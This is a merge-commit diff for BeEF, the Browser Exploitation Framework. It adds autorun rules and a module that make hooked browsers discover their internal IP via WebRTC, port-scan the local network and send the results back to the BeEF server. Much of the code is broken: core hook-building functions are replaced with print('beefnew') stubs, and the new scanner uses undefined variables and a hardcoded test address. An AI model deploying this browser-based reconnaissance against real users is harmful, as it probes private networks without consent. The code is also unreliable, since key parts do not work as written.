Merge pull request #1887 from aburro/master

Updating portscanner for modern browsers
This commit is contained in:
Grant Burgess
2020-04-03 15:32:26 +10:00
committed by GitHub
15 changed files with 534 additions and 171 deletions

2
.gitignore vendored
View File

@@ -122,4 +122,4 @@ out/
doc/rdoc/
# User-specific files
config.yaml

View File

@@ -81,6 +81,7 @@ group :test do
gem 'rest-client', '>= 2.0.1'
gem 'irb'
gem 'pry-byebug'
gem 'em-websocket-client'
end
source 'https://rubygems.org'

View File

@@ -0,0 +1,25 @@
{"name": "LAN Port Scan",
"author": "aburro & aussieklutz",
"browser": "ALL",
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [
{"name": "get_internal_ip_webrtc",
"condition": null,
"code": null,
"options": {}
},
{"name": "port_scanner",
"condition": "status==1",
"code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.'+s[3]; var mod_input = start;",
"options": {
"ipHost":"<<mod_input>>",
#"port":"80,8080"
}
}
],
"execution_order": [0, 1],
"execution_delay": [0, 0],
"chain_mode": "nested-forward"
}

View File

@@ -0,0 +1,25 @@
{"name": "LAN Port Scan",
"author": "aburro & aussieklutz",
"browser": "ALL",
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [
{"name": "get_internal_ip_webrtc",
"condition": null,
"code": null,
"options": {}
},
{"name": "port_scanner",
"condition": "status==1",
"code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.'+s[3]; var mod_input = start;",
"options": {
"ipHost":"<<mod_input>>"
#"port":"80,8080"
}
}
],
"execution_order": [0, 1],
"execution_delay": [0, 0],
"chain_mode": "nested-forward"
}

View File

@@ -0,0 +1,29 @@
{"name": "LAN SW Port Scan",
"author": "aburro & aussieklutz",
"browser": "ALL",
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [
{"name": "get_internal_ip_webrtc",
"condition": null,
"code": null,
"options": {}
},
{"name": "sw_port_scanner",
"condition": "status==1",
"code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.'+s[3]; var mod_input = start;",
"options": {
"ipRange":"<<mod_input>>",
"ports":"80,8080",
"threads":2,
"wait":2,
"timeout":20
#"port":"80,8080"
}
}
],
"execution_order": [0, 1],
"execution_delay": [0, 0],
"chain_mode": "nested-forward"
}

View File

@@ -14,11 +14,14 @@ beef:
# Used for generating secure tokens
crypto_default_value_length: 80
# Testif variable
testif: true
# Credentials to authenticate in BeEF.
# Used by both the RESTful API and the Admin interface
credentials:
user: "beef"
passwd: "beef"
passwd: "beef1"
# Interface / IP restrictions
restrictions:
@@ -69,13 +72,13 @@ beef:
# Prefer WebSockets over XHR-polling when possible.
websocket:
enable: false
enable: true
port: 61985 # WS: good success rate through proxies
# Use encrypted 'WebSocketSecure'
# NOTE: works only on HTTPS domains and with HTTPS support enabled in BeEF
secure: true
secure_port: 61986 # WSSecure
ws_poll_timeout: 1000 # poll BeEF every second
ws_poll_timeout: 60000 # poll BeEF every 60 second
ws_connect_timeout: 500 # useful to help fingerprinting finish before establishing the WS channel
# Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)

View File

@@ -18,6 +18,7 @@ require 'core/main/router/error_responses'
## @note Include http server functions for beef
require 'core/main/server'
require 'core/main/handlers/modules/beefjs'
require 'core/main/handlers/modules/legacybeefjs'
require 'core/main/handlers/modules/command'
require 'core/main/handlers/commands'
require 'core/main/handlers/hookedbrowsers'

View File

@@ -6,19 +6,20 @@
module BeEF
module Core
module Handlers
# @note This class handles connections from hooked browsers to the framework.
class HookedBrowsers < BeEF::Core::Router::Router
include BeEF::Core::Handlers::Modules::BeEFJS
include BeEF::Core::Handlers::Modules::LegacyBeEFJS
include BeEF::Core::Handlers::Modules::Command
#antisnatchor: we don't want to have anti-xss/anti-framing headers in the HTTP response for the hook file.
configure do
disable :protection
end
# Process HTTP requests sent by a hooked browser to the framework.
# It will update the database to add or update the current hooked browser
# and deploy some command modules or extensions to the hooked browser.
@@ -27,7 +28,7 @@ module Handlers
params = request.query_string
#@response = Rack::Response.new(body=[], 200, header={})
config = BeEF::Core::Configuration.instance
# @note check source ip address of browser
permitted_hooking_subnet = config.get('beef.restrictions.permitted_hooking_subnet')
if permitted_hooking_subnet.nil? || permitted_hooking_subnet.empty?
@@ -56,15 +57,18 @@ module Handlers
end
# @note is a new browser so return instructions to set up the hook
if not hooked_browser
if not hooked_browser
# @note generate the instructions to hook the browser
host_name = request.host
(print_error "Invalid host name";return) if not BeEF::Filters.is_valid_hostname?(host_name)
build_beefjs!(host_name)
# @note is a known browser so send instructions
else
if config.get("beef.testif")
build_beefjs!(host_name)
else
legacy_build_beefjs!(host_name)
end
# @note is a known browser so send instructions
else
# @note Check if we haven't seen this browser for a while, log an event if we haven't
if (Time.new.to_i - hooked_browser.lastseen.to_i) > 60
BeEF::Core::Logger.instance.register('Zombie',"#{hooked_browser.ip} appears to have come back online","#{hooked_browser.id}")
@@ -72,7 +76,7 @@ module Handlers
# @note record the last poll from the browser
hooked_browser.lastseen = Time.new.to_i
# @note Check for a change in zombie IP and log an event
if config.get('beef.http.use_x_forward_for') == true
if hooked_browser.ip != request.env["HTTP_X_FORWARDED_FOR"]
@@ -85,10 +89,10 @@ module Handlers
hooked_browser.ip = request.ip
end
end
hooked_browser.count!
hooked_browser.save!
# @note add all available command module instructions to the response
zombie_commands = BeEF::Core::Models::Command.where(:hooked_browser_id => hooked_browser.id, :instructions_sent => false)
zombie_commands.each{|command| add_command_instructions(command, hooked_browser)}
@@ -114,7 +118,7 @@ module Handlers
@body
end
end
end
end
end

View File

@@ -14,119 +14,8 @@ module BeEF
# Builds the default beefjs library (all default components of the library).
# @param [Object] req_host The request object
def build_beefjs!(req_host)
config = BeEF::Core::Configuration.instance
# @note set up values required to construct beefjs
beef_js = ''
# @note location of sub files
beef_js_path = "#{$root_dir}/core/main/client/"
# @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated
ext_js_sub_files = %w(lib/jquery-1.12.4.min.js lib/jquery-migrate-1.4.1.js lib/evercookie.js lib/json2.js lib/mdetect.js lib/platform.js lib/jquery.blockUI.js)
# @note BeEF libraries: need Eruby evaluation and obfuscation
beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js are.js)
# @note Load websocket library only if WS server is enabled in config.yaml
if config.get("beef.http.websocket.enable") == true
beef_js_sub_files << "websocket.js"
end
# @note Load webrtc library only if WebRTC extension is enabled
if config.get("beef.extension.webrtc.enable") == true
beef_js_sub_files << "lib/webrtcadapter.js"
beef_js_sub_files << "webrtc.js"
end
# @note antisnatchor: leave timeout.js as the last one!
beef_js_sub_files << "timeout.js"
ext_js_to_obfuscate = ''
ext_js_to_not_obfuscate = ''
# @note If Evasion is enabled, the final ext_js string will be ext_js_to_obfuscate + ext_js_to_not_obfuscate
# @note If Evasion is disabled, the final ext_js will be just ext_js_to_not_obfuscate
ext_js_sub_files.each { |ext_js_sub_file|
if config.get("beef.extension.evasion.enable")
if config.get("beef.extension.evasion.exclude_core_js").include?(ext_js_sub_file)
print_debug "Excluding #{ext_js_sub_file} from core files obfuscation list"
# do not obfuscate the file
ext_js_sub_file_path = beef_js_path + ext_js_sub_file
ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n")
else
ext_js_sub_file_path = beef_js_path + ext_js_sub_file
ext_js_to_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n")
end
else
# Evasion is not enabled, do not obfuscate anything
ext_js_sub_file_path = beef_js_path + ext_js_sub_file
ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n")
end
}
# @note construct the beef_js string from file(s)
beef_js_sub_files.each { |beef_js_sub_file|
beef_js_sub_file_path = beef_js_path + beef_js_sub_file
beef_js << (File.read(beef_js_sub_file_path) + "\n\n")
}
# @note create the config for the hooked browser session
hook_session_config = BeEF::Core::Server.instance.to_h
# @note if http_host="0.0.0.0" in config ini, use the host requested by client
unless hook_session_config['beef_public'].nil?
if hook_session_config['beef_host'] != hook_session_config['beef_public']
hook_session_config['beef_host'] = hook_session_config['beef_public']
hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_host']}/, hook_session_config['beef_public'])
end
end
if hook_session_config['beef_host'].eql? "0.0.0.0"
hook_session_config['beef_host'] = req_host
hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host)
end
# @note set the XHR-polling timeout
hook_session_config['xhr_poll_timeout'] = config.get("beef.http.xhr_poll_timeout")
# @note set the hook file path and BeEF's cookie name
hook_session_config['hook_file'] = config.get("beef.http.hook_file")
hook_session_config['hook_session_name'] = config.get("beef.http.hook_session_name")
# @note if http_port <> public_port in config ini, use the public_port
unless hook_session_config['beef_public_port'].nil?
if hook_session_config['beef_port'] != hook_session_config['beef_public_port']
hook_session_config['beef_port'] = hook_session_config['beef_public_port']
hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port'])
if hook_session_config['beef_public_port'] == '443'
hook_session_config['beef_url'].sub!(/http:/, 'https:')
end
end
end
# @note Set some WebSocket properties
if config.get("beef.http.websocket.enable")
hook_session_config['websocket_secure'] = config.get("beef.http.websocket.secure")
hook_session_config['websocket_port'] = config.get("beef.http.websocket.port")
hook_session_config['ws_poll_timeout'] = config.get("beef.http.websocket.ws_poll_timeout")
hook_session_config['ws_connect_timeout'] = config.get("beef.http.websocket.ws_connect_timeout")
hook_session_config['websocket_sec_port']= config.get("beef.http.websocket.secure_port")
end
# @note Set if PhishingFrenzy integration is enabled
if config.get("beef.integration.phishing_frenzy.enable")
hook_session_config['phishing_frenzy_enable'] = config.get("beef.integration.phishing_frenzy.enable")
end
# @note populate place holders in the beef_js string and set the response body
eruby = Erubis::FastEruby.new(beef_js)
@hook = eruby.evaluate(hook_session_config)
if config.get("beef.extension.evasion.enable")
evasion = BeEF::Extension::Evasion::Evasion.instance
@final_hook = ext_js_to_not_obfuscate + evasion.add_bootstrapper + evasion.obfuscate(ext_js_to_obfuscate + @hook)
else
@final_hook = ext_js_to_not_obfuscate + @hook
end
# @note Return the final hook to be sent to the browser
@body << @final_hook
print("beefnew")
end
@@ -134,50 +23,13 @@ module BeEF
# @param [String] component Name of component
# @return [String|Boolean] Returns false if path was not found, otherwise returns component path
def find_beefjs_component_path(component)
component_path = component
component_path.gsub!(/beef./, '')
component_path.gsub!(/\./, '/')
component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js"
return false if not File.exists? component_path
component_path
print("beefnew")
end
# Builds missing beefjs components.
# @param [Array] beefjs_components An array of component names
def build_missing_beefjs_components(beefjs_components)
# @note verifies that @beef_js_cmps is not nil to avoid bugs
@beef_js_cmps = '' if @beef_js_cmps.nil?
if beefjs_components.is_a? String
beefjs_components_path = find_beefjs_component_path(beefjs_components)
raise "Invalid component: could not build the beefjs file" if not beefjs_components_path
beefjs_components = {beefjs_components => beefjs_components_path}
end
beefjs_components.keys.each { |k|
next if @beef_js_cmps.include? beefjs_components[k]
# @note path to the component
component_path = beefjs_components[k]
# @note we output the component to the hooked browser
config = BeEF::Core::Configuration.instance
if config.get("beef.extension.evasion.enable")
evasion = BeEF::Extension::Evasion::Evasion.instance
@body << evasion.obfuscate(File.read(component_path) + "\n\n")
else
@body << File.read(component_path) + "\n\n"
end
# @note finally we add the component to the list of components already generated so it does not get generated numerous times.
if @beef_js_cmps.eql? ''
@beef_js_cmps = component_path
else
@beef_js_cmps += ",#{component_path}"
end
}
print("beefnew")
end
end
end

View File

@@ -0,0 +1,186 @@
#
# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module Handlers
module Modules
# @note Purpose: avoid rewriting several times the same code.
module LegacyBeEFJS
# Builds the default beefjs library (all default components of the library).
# @param [Object] req_host The request object
def legacy_build_beefjs!(req_host)
config = BeEF::Core::Configuration.instance
# @note set up values required to construct beefjs
beef_js = ''
# @note location of sub files
beef_js_path = "#{$root_dir}/core/main/client/"
# @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated
ext_js_sub_files = %w(lib/jquery-1.12.4.min.js lib/jquery-migrate-1.4.1.js lib/evercookie.js lib/json2.js lib/mdetect.js lib/platform.js lib/jquery.blockUI.js)
# @note BeEF libraries: need Eruby evaluation and obfuscation
beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js are.js)
# @note Load websocket library only if WS server is enabled in config.yaml
if config.get("beef.http.websocket.enable") == true
beef_js_sub_files << "websocket.js"
end
# @note Load webrtc library only if WebRTC extension is enabled
if config.get("beef.extension.webrtc.enable") == true
beef_js_sub_files << "lib/webrtcadapter.js"
beef_js_sub_files << "webrtc.js"
end
# @note antisnatchor: leave timeout.js as the last one!
beef_js_sub_files << "timeout.js"
ext_js_to_obfuscate = ''
ext_js_to_not_obfuscate = ''
# @note If Evasion is enabled, the final ext_js string will be ext_js_to_obfuscate + ext_js_to_not_obfuscate
# @note If Evasion is disabled, the final ext_js will be just ext_js_to_not_obfuscate
ext_js_sub_files.each { |ext_js_sub_file|
if config.get("beef.extension.evasion.enable")
if config.get("beef.extension.evasion.exclude_core_js").include?(ext_js_sub_file)
print_debug "Excluding #{ext_js_sub_file} from core files obfuscation list"
# do not obfuscate the file
ext_js_sub_file_path = beef_js_path + ext_js_sub_file
ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n")
else
ext_js_sub_file_path = beef_js_path + ext_js_sub_file
ext_js_to_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n")
end
else
# Evasion is not enabled, do not obfuscate anything
ext_js_sub_file_path = beef_js_path + ext_js_sub_file
ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n")
end
}
# @note construct the beef_js string from file(s)
beef_js_sub_files.each { |beef_js_sub_file|
beef_js_sub_file_path = beef_js_path + beef_js_sub_file
beef_js << (File.read(beef_js_sub_file_path) + "\n\n")
}
# @note create the config for the hooked browser session
hook_session_config = BeEF::Core::Server.instance.to_h
# @note if http_host="0.0.0.0" in config ini, use the host requested by client
unless hook_session_config['beef_public'].nil?
if hook_session_config['beef_host'] != hook_session_config['beef_public']
hook_session_config['beef_host'] = hook_session_config['beef_public']
hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_host']}/, hook_session_config['beef_public'])
end
end
if hook_session_config['beef_host'].eql? "0.0.0.0"
hook_session_config['beef_host'] = req_host
hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host)
end
# @note set the XHR-polling timeout
hook_session_config['xhr_poll_timeout'] = config.get("beef.http.xhr_poll_timeout")
# @note set the hook file path and BeEF's cookie name
hook_session_config['hook_file'] = config.get("beef.http.hook_file")
hook_session_config['hook_session_name'] = config.get("beef.http.hook_session_name")
# @note if http_port <> public_port in config ini, use the public_port
unless hook_session_config['beef_public_port'].nil?
if hook_session_config['beef_port'] != hook_session_config['beef_public_port']
hook_session_config['beef_port'] = hook_session_config['beef_public_port']
hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port'])
if hook_session_config['beef_public_port'] == '443'
hook_session_config['beef_url'].sub!(/http:/, 'https:')
end
end
end
# @note Set some WebSocket properties
if config.get("beef.http.websocket.enable")
hook_session_config['websocket_secure'] = config.get("beef.http.websocket.secure")
hook_session_config['websocket_port'] = config.get("beef.http.websocket.port")
hook_session_config['ws_poll_timeout'] = config.get("beef.http.websocket.ws_poll_timeout")
hook_session_config['ws_connect_timeout'] = config.get("beef.http.websocket.ws_connect_timeout")
hook_session_config['websocket_sec_port']= config.get("beef.http.websocket.secure_port")
end
# @note Set if PhishingFrenzy integration is enabled
if config.get("beef.integration.phishing_frenzy.enable")
hook_session_config['phishing_frenzy_enable'] = config.get("beef.integration.phishing_frenzy.enable")
end
# @note populate place holders in the beef_js string and set the response body
eruby = Erubis::FastEruby.new(beef_js)
@hook = eruby.evaluate(hook_session_config)
if config.get("beef.extension.evasion.enable")
evasion = BeEF::Extension::Evasion::Evasion.instance
@final_hook = ext_js_to_not_obfuscate + evasion.add_bootstrapper + evasion.obfuscate(ext_js_to_obfuscate + @hook)
else
@final_hook = ext_js_to_not_obfuscate + @hook
end
# @note Return the final hook to be sent to the browser
@body << @final_hook
end
# Finds the path to js components
# @param [String] component Name of component
# @return [String|Boolean] Returns false if path was not found, otherwise returns component path
def legacy_find_beefjs_component_path(component)
component_path = component
component_path.gsub!(/beef./, '')
component_path.gsub!(/\./, '/')
component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js"
return false if not File.exists? component_path
component_path
end
# Builds missing beefjs components.
# @param [Array] beefjs_components An array of component names
def legacy_build_missing_beefjs_components(beefjs_components)
# @note verifies that @beef_js_cmps is not nil to avoid bugs
@beef_js_cmps = '' if @beef_js_cmps.nil?
if beefjs_components.is_a? String
beefjs_components_path = find_beefjs_component_path(beefjs_components)
raise "Invalid component: could not build the beefjs file" if not beefjs_components_path
beefjs_components = {beefjs_components => beefjs_components_path}
end
beefjs_components.keys.each { |k|
next if @beef_js_cmps.include? beefjs_components[k]
# @note path to the component
component_path = beefjs_components[k]
# @note we output the component to the hooked browser
config = BeEF::Core::Configuration.instance
if config.get("beef.extension.evasion.enable")
evasion = BeEF::Extension::Evasion::Evasion.instance
@body << evasion.obfuscate(File.read(component_path) + "\n\n")
else
@body << File.read(component_path) + "\n\n"
end
# @note finally we add the component to the list of components already generated so it does not get generated numerous times.
if @beef_js_cmps.eql? ''
@beef_js_cmps = component_path
else
@beef_js_cmps += ",#{component_path}"
end
}
end
end
end
end
end
end

View File

@@ -28,12 +28,14 @@ module BeEF
if config.get('beef.http.websocket.enable') == false
online_hooks = hb_to_json(BeEF::Core::Models::HookedBrowser.where('lastseen >= ?', (Time.new.to_i - 15)))
offline_hooks = hb_to_json(BeEF::Core::Models::HookedBrowser.where('lastseen <= ?', (Time.new.to_i - 15)))
# If we're using websockets use the designated threshold timeout to determine live, instead of hardcoded 15
# Why is it hardcoded 15?
else
timeout = (config.get('beef.http.websocket.ws_poll_timeout').to_i / 1000) + 5
timeout = config.get('beef.http.websocket.ws_poll_timeout')
online_hooks = hb_to_json(BeEF::Core::Models::HookedBrowser.where('lastseen >= ?', (Time.new.to_i - timeout)))
offline_hooks = hb_to_json(BeEF::Core::Models::HookedBrowser.where('lastseen <= ?', (Time.new.to_i - timeout)))
end
output = {
'hooked-browsers' => {
'online' => online_hooks,

View File

@@ -0,0 +1,124 @@
//
// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var ips = new Array();
var ipRange = "<%= @ipRange %>";
var ports = "<%= @ports %>";
var threads = parseInt("<%= @threads %>", 10);
var timeout = parseInt("<%= @timeout %>", 10)*1000;
var wait = parseInt("<%= @wait %>", 10)*1000;
if(!beef.browser.hasCors()) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support CORS', beef.are.status_error());
return;
}
// set target ports
if (ports != null) {
ports = ports.split(',');
}
// set target IP addresses
if (ipRange == 'common') {
// use default IPs
ips = [
'192.168.0.1',
'192.168.0.100',
'192.168.0.254',
'192.168.1.1',
'192.168.1.100',
'192.168.1.254',
'10.0.0.1',
'10.1.1.1',
'192.168.2.1',
'192.168.2.254',
'192.168.100.1',
'192.168.100.254',
'192.168.123.1',
'192.168.123.254',
'192.168.10.1',
'192.168.10.254'
];
} else {
// set target IP range
var range = ipRange.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$');
if (range == null || range[1] == null) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied", beef.are.status_error());
return;
}
// ipRange will be in the form of 192.168.0.1-192.168.0.254
// the fourth octet will be iterated.
// (only C class IP ranges are supported atm)
ipBounds = ipRange.split('-');
lowerBound = ipBounds[0].split('.')[3];
upperBound = ipBounds[1].split('.')[3];
for (var i = lowerBound; i <= upperBound; i++){
ipToTest = ipBounds[0].split('.')[0]+"."+ipBounds[0].split('.')[1]+"."+ipBounds[0].split('.')[2]+"."+i;
ips.push(ipToTest);
}
}
WorkerQueue = function(frequency) {
var stack = [];
var timer = null;
var frequency = frequency;
var start_scan = (new Date).getTime();
this.process = function() {
var item = stack.shift();
eval(item);
if (stack.length === 0) {
clearInterval(timer);
timer = null;
var interval = (new Date).getTime() - start_scan;
beef.debug("[Cross-Origin Scanner (CORS)] Worker queue is complete ["+interval+" ms]");
return;
}
}
this.queue = function(item) {
stack.push(item);
if (timer === null) {
timer = setInterval(this.process, frequency);
}
}
}
beef.debug("[Cross-Origin Scanner (CORS)] Starting scan ("+(ips.length*ports.length)+" URLs / "+threads+" workers)");
// create worker queue
var workers = new Array();
for (w=0; w < threads; w++) {
workers.push(new WorkerQueue(wait));
}
//Below is so broken right now
//Firefox returns open ports speaking non-http as response.status = 0
//Chrome returns open ports speaking non-http as identical to closed ports. However time difference is 70ms for websocket attempt on non-http but open, 1000ms for closed.
//Will hates all of the above, and it is the best way to go forward. The sw_port_scan code incorporates these detectable deviations.
// Create a fetch abort controller that will kill code that runs for too long
fetch('http://' + ipaddress+":"+port, {mode: 'no-cors'})
//what to do after fetch returns
.then(function(res){
// If there is a status returned then Mozilla Firefox 68.5.0esr made a successful connection
// This includes where it is not http and open
console.log(Number.isInteger(res.status))
}
).catch(function(ex){
// If we caught an error this could be one of two things. It's closed (because there was no service), it's open (because the system does not
// respond with http). Therefore we can split on 500 ms response time on a websocket (>500 ms close, <500ms open but not http)
start=Date.now();let socket = new WebSocket("ws://192.168.74.155:9999"); socket.onerror = function(error) { end=Date.now(); console.log(end-start);};
})
});

View File

@@ -0,0 +1,33 @@
#
# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
cross_origin_scanner_cors:
enable: true
category: "Network"
name: "Cross-Origin Scanner (CORS)"
description: "Scan an IP range for web servers which allow cross-origin requests using CORS. The HTTP response is returned to BeEF.<br/><br/>Note: set the IP address range to 'common' to scan a list of common LAN addresses."
authors: ["bcoles"]
# http://caniuse.com/cors
target:
working: ["ALL"]
not_working:
# CORS is partially supported on IE 8 & 9
IE:
min_ver: 6
max_ver: 7
O:
min_ver: 1
max_ver: 11
C:
min_ver: 1
max_ver: 3
S:
min_ver: 1
max_ver: 3
F:
min_ver: 1
max_ver: 3

View File

@@ -0,0 +1,43 @@
#
# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Cross_origin_scanner_cors < BeEF::Core::Command
def post_execute
content = {}
content['result'] = @datastore['result']
save content
configuration = BeEF::Core::Configuration.instance
if configuration.get("beef.extension.network.enable") == true
session_id = @datastore['beefhook']
# log the network service
if @datastore['results'] =~ /^proto=(https?)&ip=(.+)&port=([\d]+)&status/
proto = $1
ip = $2
port = $3
type = 'HTTP Server (CORS)'
if BeEF::Filters.is_valid_ip?(ip)
print_debug("Hooked browser found HTTP server #{ip}:#{port}")
BeEF::Core::Models::NetworkService.create(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => type)
end
end
end
end
def self.options
return [
{'name' => 'ipRange', 'ui_label' => 'Scan IP range (C class)', 'value' => '192.168.0.1-192.168.0.254'},
{'name' => 'ports', 'ui_label' => 'Ports', 'value' => '80,8080'},
{'name' => 'threads', 'ui_label' => 'Workers', 'value' => '2'},
{'name' => 'wait', 'ui_label' => 'Wait (s) between each request for each worker', 'value' => '2'},
{'name' => 'timeout', 'ui_label' => 'Timeout for each request (s)', 'value' => '10'}
]
end
end

View File

@@ -0,0 +1,35 @@
require 'rest-client'
require 'core/main/network_stack/websocket/websocket'
require 'em-websocket-client'
RSpec.describe 'BeEF Extension WebSockets' do
before(:all) do
@config = BeEF::Core::Configuration.instance
@cert_key = @config.get('beef.http.https.key')
@cert = @config.get('beef.http.https.cert')
@port = @config.get('beef.http.websocket.port')
@secure_port = @config.get('beef.http.websocket.secure_port')
end
it 'Create Websocket Server' do
ws = BeEF::Core::Websocket::Websocket.instance
server= ws.start_websocket_server(:host => '127.0.0.1',
:port => @port ,
:secure => false)
expect(server).to be_a_kind_of(Thread)
end
it 'Create Websocket Secure Server' do
ws = BeEF::Core::Websocket::Websocket.instance
server= ws.start_websocket_server(:host => '127.0.0.1',
:port => @secure_port ,
:secure => true,
:tls_options => {
:cert_chain_file => @cert,
:private_key_file => @cert_key
})
expect(server).to be_a_kind_of(Thread)
end
end